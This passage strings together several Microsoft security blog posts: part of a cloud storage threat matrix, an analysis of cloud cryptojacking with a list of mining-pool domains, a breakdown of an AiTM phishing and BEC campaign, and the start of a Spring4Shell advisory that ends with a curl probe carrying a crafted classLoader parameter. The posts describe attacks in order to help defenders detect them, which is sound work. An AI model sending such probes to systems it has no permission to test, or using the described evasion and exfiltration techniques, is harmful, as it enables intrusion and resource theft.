Disable cloud workload protection – Attackers may disable the cloud workload protection service which raises security alerts upon detection of malicious activities in cloud storage services.

Private endpoint – Attackers may set private endpoints for a storage account to establish a separate communication channel from a target virtual network. The new endpoint is assigned with a private IP address within the virtual network’s address range. All the requests sent to the private endpoint bypass the storage account firewall by design.

Operations across geo replicas – Attackers may split their requests across geo replicas to reduce the footprint in each region and avoid being detected by various rules and heuristics.

5. Credential access

Credential access consists of techniques for stealing credentials like account names and passwords. Using legitimate credentials can give adversaries access to other resources, make them harder to detect, and provide the opportunity to help achieve their goals.

Unsecured communication channel – Attackers may sniff network traffic and capture credentials sent over an insecure protocol. When a storage account is configured to support unencrypted protocol such as HTTP, credentials are passed over the wire unprotected and are susceptible to leakage. The attacker can use the compromised credentials to gain initial access to the storage account.

6. Discovery

Discovery consists of techniques attackers may use to gain knowledge about the service. These techniques help attackers observe the environment and orient themselves before deciding how to act.

Account configuration discovery – Attackers may leverage control plane access permission to retrieve the storage account configuration. The configuration contains various technical details that may assist the attacker in implementing a variety of tactics. For example, firewall configuration provides network access information. Other parameters may reveal whether access operations are logged. The configuration may also contain the backup policy that may assist the attacker in performing data destruction.

7. Exfiltration

Exfiltration consists of techniques that attackers may use to extract data from storage accounts. These may include transferring data to another cloud storage outside of the victim account and may also include putting size limits on the transmission. 

Static website – Attackers may use the “static website” feature to exfiltrate collected data outside of the storage account. Static website is a cloud storage provider hosting capability that enables serving static web content directly from the storage account. The website can be reached via an alternative web endpoint which might be overlooked when restricting access to the storage account. 

Object replication – Attackers may set a replication policy between source and destination containers that asynchronously copies objects from source to destination. Outbound replication can serve as an exfiltration channel of customer data from a victim’s container to an adversary’s container.

Conclusion

As the amount of data stored in the cloud continues to grow, so does the need for robust security measures to protect it. Microsoft Defender for Cloud can help detect and mitigate threats on your storage accounts. Defender for Storage is powered by Microsoft Threat Intelligence and behavior modeling to detect anomalous activities such as sensitive data exfiltration, suspicious access, and malware uploads. With agentless at-scale enablement, security teams are empowered to remediate threats with contextual security alerts, remediation recommendations, and configurable automations. Learn more about Microsoft Defender for Cloud support for storage security.

Evgeny Bogokovsky

Microsoft Threat Intelligence

References

• https://attack.mitre.org/

Further reading

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on Twitter at https://twitter.com/MsftSecIntel.

The post Cloud storage security: What’s new in the threat matrix appeared first on Microsoft Security Blog.

While there are fundamental differences in how cloud providers handle authentication, permissions, and resource creation, a cloud cryptojacking attack could unfold in any environment where a threat actor can compromise an identity and create compute, and the attack lifecycle is largely the same. Microsoft security experts have surfaced tell-tale deployment patterns to help defenders determine, identify, and mitigate cloud cryptojacking attacks.

To perform cloud cryptojacking, threat actors must typically have access to compromised credentials obtained through various means, highlighting the need to implement common best practices like credential hygiene and cloud hardening. If the credentials do not have the threat actors’ desired permissions, privilege escalation techniques are used to obtain additional permissions. In some cases, threat actors hijack existing subscriptions to further obfuscate their operations.

Once access to the tenant is gained, threat actors create large amounts of compute, preferring core types that allow them to mine more currency faster. Threat actors use these deployed resources to start mining cryptocurrency by installing cryptomining software in the newly created virtual machines (VMs) and joining them to mining pools.

In this blog post, we present insights from our research on how attackers launch cryptojacking attacks in cloud environments. These insights deepen our understanding of these threats, which in turn inform the protections that we continuously build into our cloud security solutions. We share patterns that administrators and defenders can look out for to identify if a cryptojacking attack is occurring within their cloud environment. We also provide information on how Microsoft Defender for Cloud, Microsoft Defender for Cloud Apps, and other solutions can detect cryptocurrency mining threats and related malicious activity.

While this blog covers mitigation and protections against cloud cryptojacking, in general, strengthening cloud security posture, protecting cloud workloads from threats, and better control of cloud app access can help organizations defend against a wide range of cloud-based threats and risks.

Cryptocurrency mining in cloud environments

In incident response investigations and proactive research in the past year, we observed threat actors abusing administrative features to deploy and manage cryptocurrency mining resources in compromised tenants. Many of these attacks take advantage of automation, which increases the potential threat to cloud environments.

Cryptocurrency mining using central processing unit (CPU) or graphics processing unit (GPU) compute in cloud environments is not financially viable if one is paying for the compute used. In order to profit, threat actors use malicious methods to avoid paying for the resources, such as abusing free trials or compromising legitimate tenants to conduct cryptojacking attacks.

Unlike free trial abuse, which the cloud provider may be able to detect, cryptojacking in compromised tenants is more challenging to identify since it involves the threat actor having access to a legitimate user account. This complex method impacts the user more directly, as it allows the threat actor to make more intrusive changes in the target environment:

• Utilize available compute quota from compromised tenants, and provision significantly more compute and other additional resources.
• Mask resource provisioning activity as legitimate when operating within a compromised tenant.
• Use access to the compromised tenant to do further lateral movement, achieve persistence, and conduct information theft.

Successful cloud cryptojacking attacks could result in significant unexpected charges to the compromised tenant and depletion of resources that the tenant might need for business continuity, potentially resulting in service interruption, highlighting the need to prevent, detect and mitigate cloud cryptojacking attacks.

Attack lifecycle

Cryptojacking requires the threat actor to reach a certain level of access to the cloud environment, which we explain in more detail in the next sections. The diagram below shows the stages of a typical cloud cryptojacking attack.

In the above example, the attacker generally keeps their operational infrastructure separate from the compromised infrastructure used for mining.

Initial access: Compromised credentials

To perform this attack, the threat actor must have access to credentials that can be used to access the tenant. These credentials need to have the virtual machine contributor role, or provide a path to a user account that does. Threat actors abusing tenants in this way utilize multiple methods to gain account credentials such as phishing, using leaked credentials, and on-premises device compromise. Microsoft Incident Response investigations found that in nearly all cases observed, the accounts did not have multi-factor authentication (MFA) enabled, and no evidence of password spray or brute force was present, suggesting leaked credentials might be the most common vector.

After gaining access, some threat actors use attacker-controlled virtual machines within legitimate tenants as their operational infrastructure. By using living-off-the-land techniques, threat actors can operate without any infrastructure external to the cloud environment. This attack cycle is shown in the diagram below.

In the above example, the attacker generally keeps their operational infrastructure separate from the compromised infrastructure used for mining.

Privilege escalation: Elevating access

In some observed cases, threat actors compromise the global administrator account. By design, global administrator accounts might not have access to all subscriptions and management groups within the directory; the elevate access option needs to be elevated for the account to have permissions over all resources. Access to global administrator accounts must therefore be adequately secured to prevent threat actors from elevating their access or granting roles that allow the creation of compute resources.

Defense evasion: Subscription hijacking

After gaining access to the tenant and performing reconnaissance to determine available permissions, the attacker may proceed to hijack the subscription. Subscription hijacking has been covered previously in the blog entry Hunt for compromised Azure subscriptions using Microsoft Defender for Cloud Apps.

Subscription hijacking is an evasion technique that allows the threat actor to hide some of their activities from the tenant administrator and security teams. Migrating a subscription directory requires the threat actor to have sufficient privileges in the target subscription. In cases observed by Microsoft, the destination tenant may be attacker-controlled or another affected tenant that the threat actor has access to.

Additionally, subscription hijacking is disruptive forensically. Microsoft Incident Response has observed instances where a threat actor compromised accounts in customer environments that were over-privileged. Abusing over-privileged accounts allowed the threat actor to migrate the subscription to a separate tenant (often attacker-controlled) to spin up additional resources. While activity logs at the subscription level remain with the subscription, anything recorded at the tenant role-based access control (RBAC) level is recorded in the new tenant, making forensic analysis, understanding the full timeline, or incident response by or for the customer, more challenging.

Impact: Increasing core quotas

Once a threat actor has access to a tenant, they can either create compute using existing core quota, or they may choose to increase core quotas within the tenant. Increasing core quotas is potentially risky for the actor as quota increases undergo review. Some quotas can’t be immediately adjusted and require a support ticket to increase.

Threat actors without permission to increase quotas use whatever is available. This often leads to them exhausting available core counts across multiple regions. Quota increases have occurred up to a month before resources are deployed by the threat actor.

GPU compute offerings are often targeted by threat actors. GPU compute provides access to high performance NVIDIA and AMD GPU cores, allowing cryptocurrency mining magnitudes more effective than any CPU compute offering. A complete overview of GPU compute types can be found in GPU optimized virtual machine sizes.

The NVIDIA T4, V100, and A100 GPU compute options are most abused by threat actors. At time of writing, the NVIDIA A100 is the best mining card available that is not a dedicated application-specific integrated circuit (ASIC). When comparing NVIDIA GPU performance for cryptomining, the number of Compute Unified Device Architecture (CUDA) cores can be used as a rough representation of the card’s performance. CUDA is designed specifically for high performance parallel computing, which allows more computations to take place at once. For NVIDIA GPUs, more CUDA cores generally means more mining potential. The table below shows the comparative hash rate for the top three most abused GPU compute cards within cloud environments based on mining Ethereum Proof of Work (ETHW).

As the table above shows, threat actors who can provision NVIDIA GPU cores can mine a meaningful amount of currency in a relatively short period of time. In attacks observed by Microsoft, cryptojacking activities were seen to incur compute fees more than $300,000, illustrating how unprofitable mining is within cloud environments without committing resource theft.

Impact: Deploying compute

There are several ways to deploy compute, and threat actors have adapted to abusing features to speed up deployment. As resource hijacking is an attack of scale, the threat actor needs a way to rapidly spin up and manage multiple devices. In observed cases, threat actors have employed VM scale sets, Azure Machine Learning compute instances, Azure Batch, and Azure Container Instances. Each of these systems allows compute to be deployed quickly and centrally managed.

Malicious provisioning behavior of compute using the above methods generally does not match existing compute provisioning patterns within the tenant. The graph below shows an attacker deploying NVIDIA compute cores within a target environment using VM scale sets. The Y axis shows the capacity of the VM whilst the X axis represents time, this activity spans a three-hour period. Each color represents a single region, with the attacker iterating the various regions to create compute.

In the graph above, the actor followed a predictable and anomalous deployment pattern across several hijacked subscriptions. Microsoft Threat Intelligence analysis shows that this deployment pattern is unique to a specific threat actor. While this specific pattern may change, the automated nature of malicious compute deployments means that an unusual pattern almost always emerges.

Some staggering of deployment is used, but the threat actor ultimately needs to provision compute very quickly to make the attack profitable. This time restriction means that patterns in provisioning generally emerge over relatively short periods of time. In the above case, the entire provisioning stage of the attack took place over a three-hour period.

In addition to the pattern of deployment, in this case, the following additional anomalies were also observed:

• The user accounts used to provision compute had never provisioned compute before.
• The compromised user provisioned GPU compute, when no GPU compute had been provisioned in this environment before.
• Compute was deployed to regions anomalous for the environment.

Other cases observed by Microsoft showed the following deployment anomalies:

• A user with a recent Azure AD anomaly creating large volumes of compute.
• A user suddenly causing multiple deployment failures spanning multiple core types due to a core quota unavailability.

Other than VM scale set deployment patterns, the same anomalous patterns can be identified within other automated deployment services such as Azure ML compute instances, Azure Batch, and Azure Container Instances.

Impact: Mining cryptocurrency

Once compute resources are deployed, the actor may need to install GPU drivers to take full advantage of the graphics card, especially on N-series VMs. Actors have been observed abusing Azure Virtual Machine extensions such as an NVIDIA GPU Driver Extension for Windows or Linux, or an AMD GPU Driver Extension for Windows, to facilitate driver installation. These extensions allow for the mass-deployment of drivers, reducing the threat actors’ setup time before mining.

The following anomalies have been observed when actors use these extensions:

• Sudden or unusual high-volume provisioning of GPU drivers using a GPU Driver Extension.
• A user account suddenly deploying GPU extensions, especially where that user account has no history of deploying VM extensions.

With compute prepared, the threat actor can begin mining cryptocurrency by deploying mining software to the newly created VMs. The installed mining software joins the VM to a mining pool, which allows the threat actor to pool their stolen processing power from multiple compromised tenants.

Data from Microsoft Defender for Cloud shows some of the most recent pools in use by threat actors using already-compromised Azure tenants. Below is the list of the top 10 mining domains observed being used:

1. nanopool[.]org
2. nicehash[.]com
3. supportxmr[.]com
4. hashvault[.]pro
5. zpool[.]ca
6. herominers[.]com
7. f2pool[.]com
8. minexmr[.]com
9. moneroocean[.]stream
10. miner[.]rocks

Seeing connections to any mining pool from a VM within an environment is a strong indication of compromise. Microsoft Defender for Cloud has multiple detections for this behavior.

Recommendations to identify and mitigate cryptojacking attacks

Security teams should monitor and regularly review alerts specific to these scenarios. In environments where the creation of compute or increases in quota are uncommon, additional alerts should be built to monitor associated operations within your SIEM tool like Microsoft Sentinel. These are highly environmentally specific.

While every situation is unique to the customer and their environment, Microsoft Incident Response has identified several recommendations that are broadly applicable to help identify and mitigate cryptojacking attacks, alongside specific product detections. These recommendations are based on observations from responding to multiple resource abuse engagements.

• Separation of privileged roles: Keep administrator and normal user accounts separate. Non-administrator users who require privileged roles in the environment for specific functions should utilize Privileged Identity Management to access the roles on an as-needed basis in a way that can be audited and tracked, or also have separate accounts created. In most resource abuse cases Microsoft Incident Response has investigated, the initially compromised user is over privileged in some way. Thus, it is good practice to limit the number of accounts that have the virtual machine contributor role. In addition, accounts with this role should be protected by MFA and Conditional Access where possible. Also, since a global admin must enable the elevate access option to have permissions over all Azure resources, it should be considered a very sensitive activity that should be monitored and reviewed.
• Multifactor authentication: Tenant administrators should ensure that MFA is in use comprehensively across all accounts. This is especially important if the account has virtual machine contributor privileges. Users should also be discouraged from reusing passwords across services. Microsoft Defender for Cloud provides a range of recommendations to secure cloud environments. A full list can be found in Security recommendations – a reference guide.
• Risk-based sign-in behaviors and conditional access policies: In cases investigated, attackers who have signed in using compromised credentials have triggered high Azure Active Directory (Azure AD) risk scores. Monitoring risky user alerts and tuning detections that take advantage of this security information help prevent these attacks. In addition to analyzing Azure AD risk scores, correlating risky Azure AD behavior with follow-on activity can help produce additional true positive detections. Risk-based conditional access policies can be designed to require multifactor reauthentication, enforce device compliance, force the user to update their password, or outright block the authentication. In many cases, policies such as these can be disruptive enough to provide security teams with enough time and signal to respond or alert the legitimate user to an issue before the resource abuse begins.
  Standard login anomaly detections were also found applicable in cases investigated by Microsoft Incident Response, with threat actors commonly using proxy services, signing in from anomalous locations, and accessing accounts using anomalous user agents. One group of activity tracked by Microsoft Threat Intelligence used Python requests and the default user agent (python-requests/2.26.0) for all operations.
  Microsoft 365 Defender uses detections such as Access elevation by risky user and Risky user performed suspicious Azure activities, which correlate users marked as risky by Azure AD with anomalous actions to raise the severity of alerts in Microsoft 365 Defender.
  Lastly, authentication to a tenant from an IP that is outside of that tenant should be  anomalous. Defenders can identify which IP addresses are allocated within a tenant using the az vm list-ip-addresses command.

• Limit unused quota and monitor for unexpected quota increases: Looking for multiple unexpected quota increases occurring in a short period of time, quota increases across multiple regions, or quota increases within regions that the environment does not normally use might allow for early detection of a resource abuse attack. Quota increases are one of the first signals Microsoft Incident Response looks for when investigating suspected resource abuse attack. Quota increase detections can potentially be refined by looking for increases to commonly abused core types, especially if their usage is otherwise rare in an environment.
• Monitor for external Azure IP addresses authenticated with your tenant: Threat actors performing these attacks also use Azure compute resources to conduct their operations. Monitoring for successful sign in activity from Azure IP addresses that are not owned by your tenant is often a strong indicator of suspicious activity. Seeing multiple authentication attempts from Azure IP addresses using the same browser user agent is another strong indicator of potential password guessing.

Detection details

Microsoft 365 Defender

Microsoft 365 Defender is becoming Microsoft Defender XDR. Learn more.

Microsoft 365 Defender uses its cross-workloads detection capabilities to provide enhanced protection against cryptocurrency mining attacks. Microsoft 365 Defender customers who have enabled their Azure connector in Microsoft Defender for Cloud Applications can benefit from the following alerts:

• Access elevation by risky user
• Suspicious Azure activities related to possible cryptocurrency mining
• Mass provisioning of GPU virtual machines for possible cryptocurrency mining
• Suspicious creation of multiple Azure ML clusters and workspaces
• Suspicious role assignment in Azure subscription
• VM quota modified after risky user signed in

Microsoft Defender for Cloud Applications

The following Microsoft Defender for Cloud Application alerts indicate threat activity related to the attack discussed in this post:

• Multiple delete VM activities
• Multiple VM creation activities

Microsoft Defender for Cloud

Microsoft Defender for Cloud detects threat components associated with the activities outlined in this article with the following alerts:

• Azure Resource Manager operation from suspicious proxy IP address
• Crypto-mining activity
• Digital currency mining activity (Preview)
• Fileless attack toolkit detected 
• Possible Cryptocoinminer download detected 
• Process associated with digital currency mining detected 
• Potential crypto coin miner started 
• Suspicious Azure role assignment detected (Preview)
• Suspicious creation of compute resources detected (Preview)
• Suspicious installation of a GPU extension was detected in your virtual machine (Preview)
• Suspicious invocation of a high-risk ‘Execution’ operation by a service principal detected (Preview)
• Suspicious invocation of a high-risk ‘Execution’ operation detected (Preview)
• Suspicious invocation of a high-risk ‘Impact’ operation by a service principal detected (Preview)
• Suspicious invocation of a high-risk ‘Impact’ operation detected (Preview)
• Suspicious subscription transfer to external tenant was detected (Preview)

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alert can indicate associated threat activity:

• Possible cryptocurrency miner

Hunting queries

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace. More details on the Content Hub can be found here:

In addition, Microsoft Sentinel customers can leverage the following content to hunt for and detect related activity in their environments:

• Crypto currency miners
• Suspicious cryptocurrency mining related threat activity detected
• Detecting Anomaly Sign-In Event
• Administrator Authenticating to Another Azure AD Tenant
• Creation of an anomalous number of resources

Appendix

Top 10 mining domains used by threat actors:

1. nanopool[.]org
2. nicehash[.]com
3. supportxmr[.]com
4. hashvault[.]pro
5. zpool[.]ca
6. herominers[.]com
7. f2pool[.]com
8. minexmr[.]com
9. moneroocean[.]stream
10. miner[.]rocks

Further reading

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on Twitter at https://twitter.com/MsftSecIntel.

The post Cryptojacking: Understanding and defending against cloud compute resource abuse appeared first on Microsoft Security Blog.

While the attack achieved the end goal of a typical AiTM phishing attack followed by business email compromise, notable aspects, such as the use of indirect proxy rather than the typical reverse proxy techniques, exemplify the continuous evolution of these threats. The use of indirect proxy in this campaign provided attackers control and flexibility in tailoring the phishing pages to their targets and further their goal of session cookie theft. After signing in with the stolen cookie through a session replay attack, the threat actors leveraged multifactor authentication (MFA) policies that have not been configured using security best practices in order to update MFA methods without an MFA challenge. A second-stage phishing campaign followed, with more than 16,000 emails sent to the target’s contacts.

This attack highlights the complexity of AiTM attacks and the comprehensive defenses they necessitate. This sophisticated AiTM attack requires beyond the typical remediation measures for identity compromise such as a password reset. Affected organizations need to revoke session cookies and roll back MFA modifications made by the threat actor. The incident also highlights the importance of proactive threat hunting to discover new TTPs on previously known campaigns to surface and remediate these types of threats.

To launch this attack, the attackers used an AiTM phishing kit developed, maintained, and operated by a threat actor that Microsoft tracks as Storm-1167. As part of our threat actor tracking and naming taxonomy, Microsoft uses Storm-#### designations as a temporary name given to an unknown, emerging, or developing cluster of threat activity, allowing Microsoft to track it as a unique set of information until we reach high confidence about the origin or identity of the actor behind the activity.

AiTM with indirect proxy

Adversary-in-the-middle (T1557, T1111) is a type of attack that aims to intercept authentication between users and a legitimate authentication service for the purpose of compromising identities or performing other actions. The attackers position themselves between a user and the service to steal credentials and intercept MFA in order to capture the session cookie. The attackers can then replay the session with the stolen session cookie before the token expiration time and impersonate the user without user intervention or MFA. With this session, the attackers could access the affected user’s resources and applications and perform business email compromise attacks and other malicious activities. More details about AiTM campaigns can be found on the blog Attackers use AiTM phishing sites as entry point to further financial fraud.

Unlike campaigns we have previously reported, this attack did not use the reverse proxy method that AiTM kits like EvilProxy and NakedPages use, in which the attacker’s server proxies the request from the application’s legitimate sign-in page. Instead, the attack used AiTM attack with indirect proxy method, in which the attacker presented targets with a website that mimicked the sign-in page of the targeted application, as in traditional phishing attacks, hosted on a cloud service. The said sign-in page contained resources loaded from an attacker-controlled server, which initiated an authentication session with the authentication provider of the target application using the victim’s credentials.

In this AiTM attack with indirect proxy method, since the phishing website is set up by the attackers, they have more control to modify the displayed content according to the scenario. In addition, since the phishing infrastructure is controlled by the attackers, they have the flexibility to create multiple servers to evade detections. Unlike typical AiTM attacks, there are no HTTP packets proxied between the target and the actual website.

When MFA is requested after successful password validation, the server displays a fake MFA page. Once the MFA is provided by the user, the attacker uses the same MFA token in the initiated session with the authentication provider. Following successful authentication, the session token is granted to the attacker, and victim is redirected to another page. The following diagram illustrates the AiTM attack observed in this scenario:

Attack chain: AiTM phishing attack leads to second-stage BEC

Our investigation into an AiTM phishing attack using the Storm-1167 AiTM kit uncovered details of a campaign that led to BEC activity. In the following sections, we present our in-depth analysis of the end-to-end attack chain.

Stage 1: Initial access via trusted vendor compromise

The attack started with a phishing email from one of the target organizations’ trusted vendors. The phishing email was sent with a seven-digit code as the subject. This code was unique for every target organization, which is likely a tracking mechanism for the attacker. The email body included a link to view or download a fax document. The link pointed to a malicious URL hosted on canva[.]com.

Sending phishing emails from a trusted vendor was one of the common behaviors that was observed for this threat actor across multiple targeted organizations. The intent of this behavior is to abuse the trusted vendor relationship and to blend with legitimate email traffic. A few of the target organizations had policies that automatically allow emails from trusted vendors, enabling the attacker to slip past detections.

Stage 2: Malicious URL click

Threat actors often abuse legitimate services and brands to avoid detection. In this scenario, we observed that the attacker leveraged the legitimate service Canva for the phishing campaign. Canva is a graphic design platform that allows users to create social media graphics, presentations, posters, and other visual content. Attackers abused the Canva platform to host a page that shows a fake OneDrive document preview and links to a phishing URL:

Stage 3: AiTM attack

Accessing the URL redirected the user to a phishing page hosted on the Tencent cloud platform that spoofed a Microsoft sign-in page. The final URL was different for every user but showed the same spoofed sign-in page.

After the target provided the password on the phishing page, the attacker then used the credentials in an authentication session created on the target website. When the attacker is prompted with MFA in the authentication session, the attacker modified the phishing page into a forged MFA page (as seen below). Once the target completed the multifactor authentication, the session token was then captured by the attacker.

The phishing pages for the AiTM attack were hosted on IP addresses located in Indonesia. The follow-on sign-ins described in the following sections were also observed from the same IP addresses.

Stage 4: Session cookie replay

In a stolen session cookie replay attack, the attacker uses the valid stolen cookie to impersonate the user, circumventing authentication mechanisms of passwords and MFA. In this campaign, we observed that the attacker signed in with the stolen cookie after a few hours from an IP address based in the United States. The attacker masqueraded as the target with this session replay attack and accessed email conversations and documents hosted in the cloud. In addition, the attacker generated a new access token, allowing them to persist longer in the environment.

Stage 5: MFA method modification

The attacker then proceeded to add a new MFA method for the target’s account, which was through phone based one-time password (OTP), in order to sign in using the user’s stolen credentials undetected. Adding a new MFA method, by default, does not require re-authentication. In this campaign, a common behavior that was observed was the attacker adding OneWaySMS, a phone-based OTP service, as a new MFA method in addition to the existing method used by the target. A phone number with the Iranian country code was observed added as the number used to receive the phone-based OTP.

Stage 6: Inbox rule creation

The attacker later signed in with the new session token and created an Inbox rule with parameters that moved all incoming emails on the user’s mailbox to the Archive folder and marked all the emails as read.

Stage 7: Phishing campaign

Followed by Inbox rule creation, the attacker initiated a large-scale phishing campaign involving more than 16,000 emails with a slightly modified Canva URL. The emails were sent to the compromised user’s contacts, both within and outside of the organization, as well as distribution lists. The recipients were identified based on the recent email threads in the compromised user’s inbox. The subject of the emails contained a unique seven-digit code, possibly a tactic by the attacker to keep track of the organizations and email chains.

Stage 8: BEC tactics

The attacker then monitored the victim user’s mailbox for undelivered and out of office emails and deleted them from the Archive folder. The attacker read the emails from the recipients who raised questions regarding the authenticity of the phishing email and responded, possibly to falsely confirm that the email is legitimate. The emails and responses were then deleted from the mailbox. These techniques are common in any BEC attacks and are intended to keep the victim unaware of the attacker’s operations, thus helping in persistence.

Stage 9: Accounts compromise

The recipients of the phishing emails from within the organization who clicked on the malicious URL were also targeted by another AiTM attack. Microsoft Defender Experts identified all compromised users based on the landing IP and the sign-in IP patterns. 

Stage 10: Second-stage BEC

The attacker was observed initiating another phishing campaign from the mailbox of one of the users who was compromised by the second AiTM attack. Microsoft revoked the compromised user’s session cookie, intervening with the second-stage attack.  

Microsoft Defender Experts: Extending security and threat defense

This AiTM attack’s use of indirect proxy is an example of the threat’s increasingly complex and evolving TTPs to evade and even challenge conventional solutions and best practices. Proactively hunting for and quickly responding to threats thus becomes an even more important aspect in securing organization networks because it provides an added layer to other security remediations and can help address areas of defense evasion.

Microsoft Defender Experts is part of Microsoft’s global network of more than 8,000 security analysts and researchers who, through our managed services like Microsoft Defender Experts for Hunting, help extend organizations’ ability to defend their environment, manage security, and even augment SOC teams. Our experts also enrich our vast cross-domain signals and let us deliver coordinated threat defense in our security products and solutions.

In this incident, because our experts actively research for new AiTM and BEC techniques, they were able to create advanced hunting detections for the Defender Experts service. These detections, combined with our experts’ own analyses of the anomalous emails and user behavior, enabled them to uncover the attack at its early stages, analyze the entire attack chain, and identify and promptly reach out to affected and targeted customers through Defender Experts Notifications. They then continuously monitored the attack for any additional compromised users or changes in the phishing patterns as it rapidly unfolded into a large-scale campaign.

Defender Experts also initiated rapid response with Microsoft 365 Defender to contain the attack including:

• Automatically disrupting the AiTM attack on behalf of the impacted users based on the signals observed in the campaign
• Initiating zero-hour auto purge (ZAP) in Microsoft Defender for Office 365 to find and take automated actions on the emails that are a part of the phishing campaign

Defender Experts further worked with customers to remediate compromised identities through the following recommendations:

• Revoking session cookies in addition to resetting passwords
• Revoking the MFA setting changes made by the attacker on the compromised user’s accounts
• Require re-challenging MFA for MFA updates as the default

Mitigation and protection guidance

Microsoft 365 Defender detects suspicious activities related to AiTM phishing attacks and their follow-on activities, such as session cookie theft and attempts to use the stolen cookie to sign into Exchange Online. To further protect themselves from similar attacks, organizations should also consider complementing MFA with conditional access policies, where sign-in requests are evaluated using additional identity-driven signals like user or group membership, IP location information, and device status, among others.

Mitigating AiTM phishing attacks

The general remediation measure for any identity compromise is to reset the password for the compromised user. However, in AiTM attacks, since the sign-in session is compromised, password reset is not an effective solution. Additionally, even if the compromised user’s password is reset and sessions are revoked, the attacker can set up persistence methods to sign-in in a controlled manner by tampering with MFA. For instance, the attacker can add a new MFA policy to sign in with a one-time password (OTP) sent to attacker registered mobile number. With this persistence mechanisms in place, the attacker can have control over the victim’s account despite conventional remediation measures.

While AiTM phishing attempts to circumvent MFA, implementation of MFA still remains an essential pillar in identity security and highly effective at stopping a wide variety of threats. MFA is the reason that threat actors developed the AiTM session cookie theft technique in the first place. Organizations are advised to work with their identity provider to ensure security controls like MFA are in place. Microsoft customers can implement through various methods, such as using the Microsoft Authenticator, FIDO2 security keys, and certificate-based authentication. 

Defenders can also complement MFA with the following solutions and best practices to further protect their organizations from such attacks: 

• Use security defaults as a baseline set of policies to improve identity security posture. For more granular control, enable conditional access policies, especially risk-based access policies. Conditional access policies evaluate sign-in requests using additional identity-driven signals like user or group membership, IP location information, and device status, among others, and are enforced for suspicious sign-ins. Organizations can protect themselves from attacks that leverage stolen credentials by enabling policies such as compliant devices, trusted IP address requirements, or risk-based policies with proper access control.
• Implement continuous access evaluation.
• Invest in advanced anti-phishing solutions that monitor and scan incoming emails and visited websites. For example, organizations can leverage web browsers that automatically identify and block malicious websites, including those used in this phishing campaign, and solutions that detect and block malicious emails, links, and files.
• Continuously monitor suspicious or anomalous activities. Hunt for sign-in attempts with suspicious characteristics (for example, location, ISP, user agent, and use of anonymizer services). 

Detections

Because AiTM phishing attacks are complex threats, they require solutions that leverage signals from multiple sources. Microsoft 365 Defender uses its cross-domain visibility to detect malicious activities related to AiTM, such as session cookie theft and attempts to use stolen cookies for signing in.

Using Microsoft Defender for Cloud Apps connectors, Microsoft 365 Defender raises AiTM-related alerts in multiple scenarios. For Azure AD customers using Microsoft Edge, attempts by attackers to replay session cookies to access cloud applications are detected by Defender for Cloud Apps connectors for Office 365 and Azure. In such scenarios, Microsoft 365 Defender raises the following alert:

• Stolen session cookie was used

In addition, signals from these Defender for Cloud Apps connectors, combined with data from the Defender for Endpoint network protection capabilities, also triggers the following Microsoft 365 Defender alert on Azure AD environments:

• Possible AiTM phishing attempt

A specific Defender for Cloud Apps connector for Okta, together with Defender for Endpoint, also helps detect AiTM attacks on Okta accounts using the following alert:

• Possible AiTM phishing attempt in Okta

Other detections that show potentially related activity are the following:

Microsoft Defender for Office 365

• Email messages containing malicious file removed after delivery​
• Email messages from a campaign removed after delivery​
• A potentially malicious URL click was detected
• A user clicked through to a potentially malicious URL​
• Suspicious email sending patterns detected

Microsoft Defender for Cloud Apps

• Suspicious inbox manipulation rule
• Impossible travel activity
• Activity from infrequent country
• Suspicious email deletion activity

Azure AD Identity Protection

• Anomalous Token
• Unfamiliar sign-in properties
• Unfamiliar sign-in properties for session cookies

Microsoft 365 Defender

• BEC-related credential harvesting attack
• Suspicious phishing emails sent by BEC-related user

Hunting queries

Microsoft Sentinel

Microsoft Sentinel customers can use the following analytic templates to find BEC related activities similar to those described in this post:

• Exchange workflow MailItemsAccessed operation anomaly
• Malicious Inbox Rule
• SharePointFileOperation via previously unseen IPs
• SharePointFileOperation via devices with previously unseen user agents
• User login from different countries within 3 hours
• TI Matching Analytics

In addition to the analytic templates listed above Microsoft Sentinel customers can use the following hunting content to perform Hunts for BEC related activities:

• Possible AiTM phishing attempt against Azure AD
• Unfamiliar Signin Correlation with AzurePortal Signin Attempts and AuditLogs
• Multiple users email forwarded to same destination
• Office Mail Rule Creation with suspicious archive mail move activity
• Sign-ins From VPS providers
• Successful sign-in from non-compliant device
• Risky sign-in with new MFA method

Further reading

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on Twitter at https://twitter.com/MsftSecIntel.

The post Detecting and mitigating a multi-stage AiTM phishing and BEC campaign appeared first on Microsoft Security Blog.

On March 31, 2022, vulnerabilities in the Spring Framework for Java were publicly disclosed. Microsoft is currently assessing the impact associated with these vulnerabilities. This blog is for customers looking for protection against exploitation and ways to detect vulnerable installations on their network of the critical remote code execution (RCE) vulnerability CVE-2022-22965 (also known as SpringShell or Spring4Shell).

The Spring Framework is the most widely used lightweight open-source framework for Java. In Java Development Kit (JDK) version 9.0 or later, a remote attacker can obtain an AccessLogValve object through the framework’s parameter binding feature and use malicious field values to trigger the pipeline mechanism and write to a file in an arbitrary path, if certain conditions are met. 

The vulnerability in Spring Core—referred to in the security community as SpringShell or Spring4Shell—can be exploited when an attacker sends a specially crafted query to a web server running the Spring Core framework. Other vulnerabilities disclosed in the same component are less critical and not tracked as part of this blog.

Impacted systems have the following traits:

• Running JDK 9.0 or later
• Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and earlier versions
• Apache Tomcat as the Servlet container:
  • Packaged as a traditional Java web archive (WAR) and deployed in a standalone Tomcat instance; typical Spring Boot deployments using an embedded Servlet container or reactive web server are not impacted
  • Tomcat has spring-webmvc or spring-webflux dependencies

Any system using JDK 9.0 or later and using the Spring Framework or derivative frameworks should be considered vulnerable. The following nonmalicious command can be used to determine vulnerable systems:

$ curl host:port/path?class.module.classLoader.URLs%5B0%5D=0

